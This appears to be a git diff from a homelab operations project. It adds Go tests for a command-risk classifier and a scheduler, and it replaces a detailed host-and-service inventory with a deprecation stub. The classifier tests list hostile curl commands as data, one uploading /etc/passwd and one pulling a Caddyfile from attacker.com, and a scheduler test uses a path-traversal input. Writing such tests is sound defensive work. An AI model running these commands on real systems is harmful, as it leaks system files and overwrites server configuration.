"curl -I http://example.com/",
|
||||||
|
"curl --head http://example.com/",
|
||||||
|
// pct exec with a read-only inner command is now read-only (P0.1).
|
||||||
|
"pct exec 132 systemctl status rclone-backup.timer",
|
||||||
|
"pct exec 121 -- systemctl is-active caddy",
|
||||||
|
"pct exec 121 -- journalctl -u caddy -n 50",
|
||||||
|
"pct exec 121 -- bash -c 'echo hi'",
|
||||||
|
"pct exec 121 -- bash -c 'systemctl status caddy'",
|
||||||
|
"sudo pct exec 121 -- systemctl status caddy",
|
||||||
|
// qm guest exec on a VM, read-only inner.
|
||||||
|
"qm guest exec 100 -- systemctl status caddy",
|
||||||
}
|
}
|
||||||
for _, c := range cases {
|
for _, c := range cases {
|
||||||
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
||||||
@@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
|
|||||||
cases := []string{
|
cases := []string{
|
||||||
"apt-get install -y nginx",
|
"apt-get install -y nginx",
|
||||||
"systemctl restart caddy",
|
"systemctl restart caddy",
|
||||||
"pct exec 121 -- bash -c 'echo hi'",
|
// `pct exec` wrapping a mutating inner command is config_mutation
|
||||||
|
// (was previously config_mutation for ALL pct exec — now classified
|
||||||
|
// by the inner command). The inner `pct exec 121 -- bash -c
|
||||||
|
// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
|
||||||
|
// which is config_mutation.
|
||||||
|
"pct exec 121 -- bash -c 'systemctl restart caddy'",
|
||||||
|
"pct exec 132 systemctl restart rclone-backup.service",
|
||||||
|
// curl with POST/data/upload flags is config_mutation (P0.1).
|
||||||
|
"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
|
||||||
|
"curl --upload-file /etc/passwd http://example.com/upload",
|
||||||
|
"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
|
||||||
|
"curl http://example.com/ > /etc/caddy/Caddyfile",
|
||||||
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
|
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
|
||||||
"git push origin main",
|
"git push origin main",
|
||||||
"docker compose up -d",
|
"docker compose up -d",
|
||||||
|
|||||||
208
internal/scheduler/scheduler_test.go
Normal file
208
internal/scheduler/scheduler_test.go
Normal file
@@ -0,0 +1,208 @@
|
|||||||
|
package scheduler
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParsePingLatency(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
out []byte
|
||||||
|
want float64
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "linux rtt format",
|
||||||
|
out: []byte("PING host (1.2.3.4): 56 data bytes\n--- host ping statistics ---\n5 packets transmitted, 5 received, 0% packet loss\nrtt min/avg/max/mdev = 0.1/2.5/5.0/1.2 ms\n"),
|
||||||
|
want: 2.5,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "macos round-trip format",
|
||||||
|
out: []byte("PING host (1.2.3.4): 56 data bytes\n--- host ping statistics ---\n5 packets transmitted, 5 received, 0% packet loss\nround-trip min/avg/max/stddev = 0.1/2.5/5.0/1.2 ms\n"),
|
||||||
|
want: 2.5,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "no match empty string",
|
||||||
|
out: []byte(""),
|
||||||
|
want: 0,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "malformed number in avg slot",
|
||||||
|
out: []byte("rtt min/avg/max/mdev = 0.1/abc/5.0/1.2 ms\n"),
|
||||||
|
want: 0,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "truly empty input nil",
|
||||||
|
out: nil,
|
||||||
|
want: 0,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "linux integer avg",
|
||||||
|
out: []byte("rtt min/avg/max/mdev = 1/3/5/0.5 ms\n"),
|
||||||
|
want: 3.0,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
got := parsePingLatency(tc.out)
|
||||||
|
if got != tc.want {
|
||||||
|
t.Fatalf("parsePingLatency(%q) = %v, want %v", tc.out, got, tc.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAllowlistedScript(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
in string
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{name: "cpu_check.sh", in: "cpu_check.sh", want: true},
|
||||||
|
{name: "disk_usage_check.sh", in: "disk_usage_check.sh", want: true},
|
||||||
|
{name: "hyphen allowed", in: "foo-bar.sh", want: true},
|
||||||
|
{name: "underscore allowed", in: "foo_bar.sh", want: true},
|
||||||
|
{name: "uppercase rejected", in: "Foo.sh", want: false},
|
||||||
|
{name: "bare .sh rejected (no name)", in: ".sh", want: false},
|
||||||
|
{name: "path traversal rejected", in: "../etc/passwd", want: false},
|
||||||
|
{name: "empty rejected", in: "", want: false},
|
||||||
|
// foo.sh.sh: regex ^[a-z][a-z0-9_-]+\.sh$ — the [a-z0-9_-]+ cannot
|
||||||
|
// cross the first '.', so after matching "foo.sh" the trailing ".sh"
|
||||||
|
// breaks the $ anchor → no match.
|
||||||
|
{name: "doubled .sh.sh rejected", in: "foo.sh.sh", want: false},
|
||||||
|
{name: "wrong extension rejected", in: "foo.txt", want: false},
|
||||||
|
{name: "single char name rejected (needs 2+)", in: "a.sh", want: false},
|
||||||
|
{name: "two char name accepted", in: "ab.sh", want: true},
|
||||||
|
{name: "digit after first char", in: "a1.sh", want: true},
|
||||||
|
{name: "leading digit rejected", in: "1foo.sh", want: false},
|
||||||
|
{name: "dot in middle rejected", in: "foo.bar.sh", want: false},
|
||||||
|
{name: "space rejected", in: "foo bar.sh", want: false},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
got := allowlistedScript(tc.in)
|
||||||
|
if got != tc.want {
|
||||||
|
t.Fatalf("allowlistedScript(%q) = %v, want %v", tc.in, got, tc.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestEvaluateSeverity(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
kind string
|
||||||
|
signalKind string
|
||||||
|
config []byte
|
||||||
|
metrics map[string]float64
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "empty config down signal",
|
||||||
|
kind: "ping",
|
||||||
|
signalKind: "down",
|
||||||
|
config: nil,
|
||||||
|
metrics: map[string]float64{},
|
||||||
|
want: "critical",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "empty config high_temp signal",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: nil,
|
||||||
|
metrics: map[string]float64{},
|
||||||
|
want: "warning",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "crit only exceeded",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"crit":90}}`),
|
||||||
|
metrics: map[string]float64{"temp": 95},
|
||||||
|
want: "critical",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "warn only exceeded",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"warn":80}}`),
|
||||||
|
metrics: map[string]float64{"temp": 85},
|
||||||
|
want: "warning",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "warn and crit, warn exceeded only",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"warn":80,"crit":90}}`),
|
||||||
|
metrics: map[string]float64{"temp": 85},
|
||||||
|
want: "warning",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "warn and crit, crit exceeded",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"warn":80,"crit":90}}`),
|
||||||
|
metrics: map[string]float64{"temp": 95},
|
||||||
|
want: "critical",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "metric below thresholds falls through to warning",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"warn":80,"crit":90}}`),
|
||||||
|
metrics: map[string]float64{"temp": 70},
|
||||||
|
want: "warning",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "metric below thresholds falls through to down critical",
|
||||||
|
kind: "ping",
|
||||||
|
signalKind: "down",
|
||||||
|
config: []byte(`{"ping_latency_ms":{"warn":100,"crit":200}}`),
|
||||||
|
metrics: map[string]float64{"ping_latency_ms": 50},
|
||||||
|
want: "critical",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "crit zero skipped falls through",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"crit":0}}`),
|
||||||
|
metrics: map[string]float64{"temp": 95},
|
||||||
|
want: "warning",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "metric not in thresholds ignored",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"warn":80,"crit":90}}`),
|
||||||
|
metrics: map[string]float64{"cpu": 99},
|
||||||
|
want: "warning",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "equal to warn triggers warning",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"warn":80,"crit":90}}`),
|
||||||
|
metrics: map[string]float64{"temp": 80},
|
||||||
|
want: "warning",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "equal to crit triggers critical",
|
||||||
|
kind: "ssh-script",
|
||||||
|
signalKind: "high_temp",
|
||||||
|
config: []byte(`{"temp":{"warn":80,"crit":90}}`),
|
||||||
|
metrics: map[string]float64{"temp": 90},
|
||||||
|
want: "critical",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
got := evaluateSeverity(tc.kind, tc.signalKind, tc.config, tc.metrics)
|
||||||
|
if got != tc.want {
|
||||||
|
t.Fatalf("evaluateSeverity(%q, %q, %s, %v) = %q, want %q",
|
||||||
|
tc.kind, tc.signalKind, tc.config, tc.metrics, got, tc.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
640
inventory.yaml
640
inventory.yaml
@@ -1,618 +1,28 @@
|
|||||||
# Homelab inventory — canonical structured topology.
|
# DEPRECATED — 2026-07-17 (R5). Do not edit. Do not consume.
|
||||||
#
|
#
|
||||||
# Single source of truth. hosts/*.yaml is generated from this file by
|
# This root-level inventory.yaml is the Python-era topology file. It was
|
||||||
# mcp/build_host_files.py; do NOT edit those by hand.
|
# superseded on 2026-07-07 by the DB-native model (ADR 0003):
|
||||||
#
|
#
|
||||||
# Conventions:
|
# - The Postgres database is the single source of truth for all structured
|
||||||
# - hostname keys MUST match the actual `hostname` of the machine (on
|
# data. Query it via MCP `get_entity` / `list_entities` or the REST API.
|
||||||
# macOS: `scutil --get LocalHostName` if set).
|
# - `seeds/inventory.yaml` is the bootstrap + DR seed manifest, ingested
|
||||||
# - `os:` one of: linux, macos
|
# idempotently into the DB at deploy time (content-hashed via
|
||||||
# - `kind:` one of: proxmox-host, lxc, vm, workstation, external
|
# `seed_versions`). `oikos export` regenerates it from the DB for VC.
|
||||||
# ("external" is reserved for hosts the homelab CLI manages via ssh but
|
# - `archive/knowledge/` holds the frozen legacy narrative wiki.
|
||||||
# that aren't homelab clients themselves — e.g. the IONOS netbird VPS
|
|
||||||
# with no /etc/age/key.txt and no /opt/homelab-context clone.)
|
|
||||||
# - `mesh:` lists addresses the host is reachable at. Both `netbird` and
|
|
||||||
# `tailscale` are accepted during the migration (see infrastructure/mesh.md).
|
|
||||||
# Prefer netbird FQDNs over raw IPs.
|
|
||||||
# - `age_pubkey:` provisioned by secrets-issuance on first bootstrap and
|
|
||||||
# committed back via `homelab client add --finalize-pubkey <key>`.
|
|
||||||
# - When a service moves hosts, update only the `services:` section here;
|
|
||||||
# never duplicate addresses elsewhere.
|
|
||||||
# - `ssh.user:` per-host login user. Default is `root` if omitted (matches
|
|
||||||
# every LXC + the PVE host). Set explicitly for workstations whose login
|
|
||||||
# user differs from `root`. Used by the `homelab` CLI to build
|
|
||||||
# `user@host` and to inform anyone running raw `netbird ssh` (which
|
|
||||||
# defaults to the LOCAL username — the gotcha that creates "user not
|
|
||||||
# found" errors when ssh'ing INTO machines that only have `root`).
|
|
||||||
#
|
#
|
||||||
# `homelab client add/remove` does surgical line-edits — comments survive.
|
# This file is kept only because AGENTS.md §1/§2 still point clients at
|
||||||
# Avoid round-tripping the file through yaml.safe_dump (it strips comments).
|
# `/opt/homelab-context/inventory.yaml` (the on-client clone path). Reconcile
|
||||||
|
# that path to `seeds/inventory.yaml` and delete this stub — tracked as R13
|
||||||
mesh:
|
# in plans/2026-07-17-codebase-review-and-cleanup.md.
|
||||||
primary: netbird
|
#
|
||||||
accepted:
|
# The live topology is in the DB. The seed is `seeds/inventory.yaml`. This
|
||||||
- netbird
|
# file is not read by any Go code, script, or test in the repo.
|
||||||
- tailscale
|
---
|
||||||
netbird_subnet: 100.122.0.0/16
|
deprecated: true
|
||||||
netbird_domain: netbird.selfhosted
|
superseded_by: seeds/inventory.yaml
|
||||||
# Service contract (Oikos, 2026-07-05): each service should carry
|
source_of_truth: postgres (see ADR 0003)
|
||||||
# backend host/container that runs it (required)
|
see_also:
|
||||||
# url public URL if ingress-exposed
|
- seeds/inventory.yaml
|
||||||
# doc_page owning wiki page
|
- seeds/ontology.yaml
|
||||||
# config_repo tracked config repo, if any (mutations go commit+push)
|
- seeds/policy.yaml
|
||||||
# health health-check URL if it differs from `url`
|
- docs/adr/0003-db-native-ontology-yaml-seeds.md
|
||||||
# risk_notes what an agent must know before touching it
|
|
||||||
# See oikos/ontology.yaml + oikos/policy.yaml.
|
|
||||||
services:
|
|
||||||
proxmox_ui:
|
|
||||||
url: https://proxmox.hubris.network
|
|
||||||
backend: hubris
|
|
||||||
port: 8006
|
|
||||||
doc_page: knowledge/wiki/hosts/hubris.md
|
|
||||||
risk_notes: hypervisor UI — changes here affect every guest on the node
|
|
||||||
gitea:
|
|
||||||
url: https://git.hubris.network
|
|
||||||
backend: gitea
|
|
||||||
backend_url: http://192.168.8.121:3000
|
|
||||||
doc_page: knowledge/wiki/containers/104-gitea.md
|
|
||||||
config_repo: dtoro/gitea-customizations
|
|
||||||
risk_notes: hosts all config repos + deploy webhooks; outage blocks auto-deploy and sync
|
|
||||||
caddy:
|
|
||||||
backend: caddy
|
|
||||||
role: reverse-proxy
|
|
||||||
note: terminates all *.hubris.network
|
|
||||||
doc_page: knowledge/wiki/containers/121-caddy.md
|
|
||||||
config_repo: dtoro/caddy-conf
|
|
||||||
risk_notes: wide blast radius — every *.hubris.network route rides on it (see oikos/policy.yaml service_overrides)
|
|
||||||
authentik:
|
|
||||||
url: https://auth.hubris.network
|
|
||||||
backend: netbird-vps
|
|
||||||
doc_page: knowledge/wiki/containers/106-auth-outpost.md
|
|
||||||
note: >-
|
|
||||||
core runs on the VPS since 2026-05-31; LAN forward-auth outpost is
|
|
||||||
auth-outpost (LXC 106) at 192.168.8.6:9000. Previous backend value
|
|
||||||
"authentik" referenced the retired embedded-outpost host (LXC 124).
|
|
||||||
risk_notes: SSO provider — outage locks login to OIDC/forward-auth services
|
|
||||||
dns:
|
|
||||||
backend: dns
|
|
||||||
note: Technitium DNS, split-horizon zone
|
|
||||||
doc_page: knowledge/wiki/containers/107-dns.md
|
|
||||||
risk_notes: LAN-wide resolver — misconfig breaks name resolution for every client
|
|
||||||
jellyfin:
|
|
||||||
url: https://media.hubris.network
|
|
||||||
backend: jellyfin
|
|
||||||
doc_page: knowledge/wiki/containers/101-jellyfin.md
|
|
||||||
risk_notes: native Authentik OIDC via SSO-Auth plugin, no Caddy forward-auth gate; VAAPI transcode depends on GPU passthrough on strong
|
|
||||||
nextcloud:
|
|
||||||
url: https://cloud.hubris.network
|
|
||||||
backend: nextcloud
|
|
||||||
doc_page: knowledge/wiki/containers/114-nextcloud.md
|
|
||||||
paperless:
|
|
||||||
url: https://paperless.hubris.network
|
|
||||||
backend: paperless
|
|
||||||
doc_page: knowledge/wiki/containers/103-paperless.md
|
|
||||||
risk_notes: document archive — treat data as irreplaceable; DB operations are destructive-class
|
|
||||||
matrix:
|
|
||||||
url: https://matrix.hubris.network
|
|
||||||
backend: elementsynapse
|
|
||||||
doc_page: knowledge/wiki/containers/118-elementsynapse.md
|
|
||||||
risk_notes: alert/approval channel for Oikos — outage silences agent escalation
|
|
||||||
photos:
|
|
||||||
url: https://photos.hubris.network
|
|
||||||
backend: mule-images
|
|
||||||
doc_page: knowledge/wiki/containers/120-mule-images.md
|
|
||||||
config_repo: dtoro/mule-image
|
|
||||||
arr_stack:
|
|
||||||
backend: arriman
|
|
||||||
note: jellyseerr / qbit / sab on docker compose
|
|
||||||
doc_page: knowledge/wiki/containers/122-arriman.md
|
|
||||||
artifacto:
|
|
||||||
backend: apps
|
|
||||||
url: https://artifacto.hubris.network
|
|
||||||
doc_page: knowledge/wiki/containers/105-apps.md
|
|
||||||
config_repo: dtoro/Artifacto
|
|
||||||
trmnl:
|
|
||||||
backend: trmnl
|
|
||||||
url: https://trmnl.hubris.network
|
|
||||||
note: self-hosted middleware for TRMNL e-ink plugins (polled by TRMNL cloud)
|
|
||||||
doc_page: knowledge/wiki/containers/128-trmnl.md
|
|
||||||
config_repo: dtoro/terminalito
|
|
||||||
zimaos:
|
|
||||||
url: https://zimaos.hubris.network
|
|
||||||
backend: zimaos
|
|
||||||
doc_page: knowledge/wiki/vms/100-zimaos.md
|
|
||||||
haos:
|
|
||||||
backend: haos
|
|
||||||
doc_page: knowledge/wiki/vms/108-haos.md
|
|
||||||
teddycloud:
|
|
||||||
url: https://teddy.hubris.network
|
|
||||||
backend: teddycloud
|
|
||||||
doc_page: knowledge/wiki/containers/131-teddycloud.md
|
|
||||||
note: self-hosted TeddyCloud (Toniebox cloud reimplementation), docker compose
|
|
||||||
risk_notes: no Caddy forward-auth gate (unlike sab.hubris.network on the same Caddyfile) —
|
|
||||||
reachable to anyone on the LAN/mesh who can resolve teddy.hubris.network; undocumented
|
|
||||||
in inventory.yaml until 2026-07-06 (drift-caught)
|
|
||||||
homelab_mcp:
|
|
||||||
backend: apps
|
|
||||||
port: 9810
|
|
||||||
systemd_unit: homelab-mcp
|
|
||||||
public_host: mcp.hubris.network
|
|
||||||
endpoint: https://mcp.hubris.network/mcp
|
|
||||||
doc_page: knowledge/wiki/infrastructure/homelab-context.md
|
|
||||||
config_repo: dtoro/oikos
|
|
||||||
note: MCP server. Read-only context + management. Reachable on the LAN via Caddy
|
|
||||||
and from off-LAN via Netbird (192.168.8.0/24 is a network resource routed through
|
|
||||||
hubris).
|
|
||||||
risk_notes: agents' primary read surface — outage degrades every agent to grepping the clone
|
|
||||||
secrets_issuance:
|
|
||||||
backend: apps
|
|
||||||
port: 9820
|
|
||||||
systemd_unit: secrets-issuance
|
|
||||||
public_host: secrets.hubris.network
|
|
||||||
endpoint: https://secrets.hubris.network/issue
|
|
||||||
doc_page: .agents/operations/agent-enrollment.md
|
|
||||||
config_repo: dtoro/oikos
|
|
||||||
note: Issues per-client age private keys. Gated at source-IP layer (mesh + LAN
|
|
||||||
subnets in MESH_SUBNETS).
|
|
||||||
risk_notes: identity issuance — any change is security-sensitive; key operations are destructive-class
|
|
||||||
hosts:
|
|
||||||
hubris:
|
|
||||||
kind: proxmox-host
|
|
||||||
os: linux
|
|
||||||
role: hypervisor
|
|
||||||
lan_ip: 192.168.8.77
|
|
||||||
mesh:
|
|
||||||
netbird:
|
|
||||||
ip: 100.122.38.109
|
|
||||||
fqdn: proxmox-server.netbird.selfhosted
|
|
||||||
ssh:
|
|
||||||
port: 22
|
|
||||||
netbird_port: 22022
|
|
||||||
user: root
|
|
||||||
mounts:
|
|
||||||
- /mnt/library
|
|
||||||
age_pubkey: age1xkklkvnk5z0fsnh6cfgv70hy9ksfy8rdprwerzw4yk3p4p7cxcqs2yvpz6
|
|
||||||
trmnl:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 128
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: trmnl-middleware
|
|
||||||
lan_ip: 192.168.8.211
|
|
||||||
public_host: trmnl.hubris.network
|
|
||||||
# not yet mesh/SOPS-enrolled — see containers/128-trmnl.md
|
|
||||||
house:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 129
|
|
||||||
host: strong
|
|
||||||
os: linux
|
|
||||||
role: family-planner
|
|
||||||
lan_ip: 192.168.8.244
|
|
||||||
public_host: house.hubris.network
|
|
||||||
notes:
|
|
||||||
- Docker host for Yuvomi (family planner). Created 2026-06-26.
|
|
||||||
- Migrated from hubris to strong 2026-07-05 (Phase 1 of strong migration plan).
|
|
||||||
- Runs Yuvomi container + WebDAV doc bridge to paperless
|
|
||||||
- 192.168.8.212 was the hubris IP before migration (briefly picked up by teddycloud via
|
|
||||||
DHCP; teddycloud has since been given a static IP, see hosts.teddycloud)
|
|
||||||
age_pubkey: age1s07zs83ehtlg8jtwvr75ltc3c4cdlemfwjuxrwjtwkqxkl9tpggsyrzn2h
|
|
||||||
jellyfin:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 101
|
|
||||||
host: strong
|
|
||||||
os: linux
|
|
||||||
role: media-server
|
|
||||||
lan_ip: 192.168.8.246
|
|
||||||
public_host: media.hubris.network
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
fqdn: jellyfin
|
|
||||||
mounts:
|
|
||||||
- /mnt/media_local
|
|
||||||
notes:
|
|
||||||
- Jellyfin 10.11.11 with VAAPI hardware acceleration (Radeon 680M iGPU on strong)
|
|
||||||
- 4 cores / 8 GiB RAM / 1 GiB swap
|
|
||||||
- SSO-Auth plugin v4.0.0.4 with Authentik OIDC (no Caddy forward-auth gate)
|
|
||||||
- GPU passed via dev0+dev1: /dev/dri/renderD128 + card0
|
|
||||||
- Migrated from hubris to strong 2026-07-05 (Phase 2). Library on ludo-lvm.
|
|
||||||
age_pubkey: ''
|
|
||||||
nfs-export:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 102
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: storage-export
|
|
||||||
lan_ip: 192.168.8.200
|
|
||||||
paperless:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 103
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: document-archive
|
|
||||||
lan_ip: 192.168.8.130
|
|
||||||
public_host: paperless.hubris.network
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
fqdn: paperless
|
|
||||||
mounts:
|
|
||||||
- /mnt/library
|
|
||||||
age_pubkey: ''
|
|
||||||
gitea:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 104
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: git-server
|
|
||||||
lan_ip: 192.168.8.121
|
|
||||||
public_host: git.hubris.network
|
|
||||||
backend_port: 3000
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
fqdn: gitea
|
|
||||||
mounts:
|
|
||||||
- /mnt/library
|
|
||||||
notes:
|
|
||||||
- Bare repos live at /mnt/library/repos/dtoro/*.git
|
|
||||||
age_pubkey: ''
|
|
||||||
apps:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 105
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: docker-apps
|
|
||||||
lan_ip: 192.168.8.205
|
|
||||||
public_hosts:
|
|
||||||
- artifacto.hubris.network
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
ip: 100.121.171.122
|
|
||||||
fqdn: apps
|
|
||||||
mounts:
|
|
||||||
- /mnt/library
|
|
||||||
runs:
|
|
||||||
- artifacto
|
|
||||||
- plantuml
|
|
||||||
- homelab-mcp
|
|
||||||
- secrets-issuance
|
|
||||||
# booklore removed 2026-06-29 → migrated to grimmory (LXC 130)
|
|
||||||
age_pubkey: age1duyl8mkpgu80uv934dy8q7enqjms6yvdz264hme8uryuxmvvqesq6rusq0
|
|
||||||
auth-outpost:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 106
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: authentik-gateway
|
|
||||||
lan_ip: 192.168.8.6
|
|
||||||
notes:
|
|
||||||
- Runs Authentik outpost (reverse-proxy/SSO enforcement) for protected services
|
|
||||||
dns:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 107
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: dns-server
|
|
||||||
lan_ip: 192.168.8.2
|
|
||||||
notes:
|
|
||||||
- Technitium DNS, split-horizon zone for *.hubris.network
|
|
||||||
- Primary DNS for 192.168.8.0/24 LAN (inventory.services.dns references this)
|
|
||||||
nextcloud:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 114
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: file-sync
|
|
||||||
lan_ip: 192.168.8.224
|
|
||||||
public_host: cloud.hubris.network
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
fqdn: nextcloud
|
|
||||||
mounts:
|
|
||||||
- /mnt/library
|
|
||||||
age_pubkey: ''
|
|
||||||
elementsynapse:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 118
|
|
||||||
host: strong
|
|
||||||
os: linux
|
|
||||||
role: matrix-server
|
|
||||||
lan_ip: 192.168.8.242
|
|
||||||
public_host: matrix.hubris.network
|
|
||||||
mesh:
|
|
||||||
tailscale: {}
|
|
||||||
notes:
|
|
||||||
- Migrated from hubris to strong 2026-07-05 (Phase 1 of strong migration plan).
|
|
||||||
sophia:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 119
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: workshop
|
|
||||||
lan_ip: 192.168.8.109
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
fqdn: sophia
|
|
||||||
mounts:
|
|
||||||
- /mnt/library
|
|
||||||
age_pubkey: ''
|
|
||||||
mule-images:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 120
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: photo-management
|
|
||||||
lan_ip: 192.168.8.136
|
|
||||||
public_host: photos.hubris.network
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
fqdn: muleimage
|
|
||||||
mounts:
|
|
||||||
- /mnt/library
|
|
||||||
age_pubkey: ''
|
|
||||||
caddy:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 121
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: reverse-proxy
|
|
||||||
lan_ip: 192.168.8.175
|
|
||||||
notes:
|
|
||||||
- Terminates all *.hubris.network
|
|
||||||
- /etc/caddy is a git checkout of dtoro/caddy-conf
|
|
||||||
peers:
|
|
||||||
- authentik
|
|
||||||
- gitea
|
|
||||||
arriman:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 122
|
|
||||||
host: strong
|
|
||||||
os: linux
|
|
||||||
role: arr-stack
|
|
||||||
lan_ip: 192.168.8.245
|
|
||||||
public_hosts:
|
|
||||||
- jellyseerr.hubris.network
|
|
||||||
- qbit.hubris.network
|
|
||||||
- sab.hubris.network
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
fqdn: arr
|
|
||||||
mounts:
|
|
||||||
- /mnt/media_local
|
|
||||||
notes:
|
|
||||||
- Migrated from hubris to strong 2026-07-05 (Phase 2). Library on ludo-lvm.
|
|
||||||
- Contains homarr, radarr, sonarr, lidarr, sabnzbd, qbittorrent, bazarr, flaresolverr, prowlarr, jellyseerr
|
|
||||||
- qBittorrent auth subnet whitelist expanded to 192.168.8.0/24 (for seanime + Caddy access)
|
|
||||||
age_pubkey: ''
|
|
||||||
grimmory:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 130
|
|
||||||
host: strong
|
|
||||||
os: linux
|
|
||||||
role: book-library
|
|
||||||
lan_ip: 192.168.8.247
|
|
||||||
public_host: books.hubris.network
|
|
||||||
mounts:
|
|
||||||
- /mnt/media_local
|
|
||||||
notes:
|
|
||||||
- Docker host for Grimmory (community fork of Booklore). Created 2026-06-29.
|
|
||||||
- Migrated from hubris to strong 2026-07-05 (Phase 2d). Books on ludo-lvm.
|
|
||||||
age_pubkey: age1uellsemnjrzgfg9fxw4jefpy05laxzggwnwhh6ny3wl7alyp6v8q0muxet
|
|
||||||
teddycloud:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 131
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: teddycloud
|
|
||||||
lan_ip: 192.168.8.150
|
|
||||||
public_host: teddy.hubris.network
|
|
||||||
mounts:
|
|
||||||
- /mnt/library
|
|
||||||
state: active
|
|
||||||
notes:
|
|
||||||
- Docker host for TeddyCloud (ghcr.io/toniebox-reverse-engineering/teddycloud), a
|
|
||||||
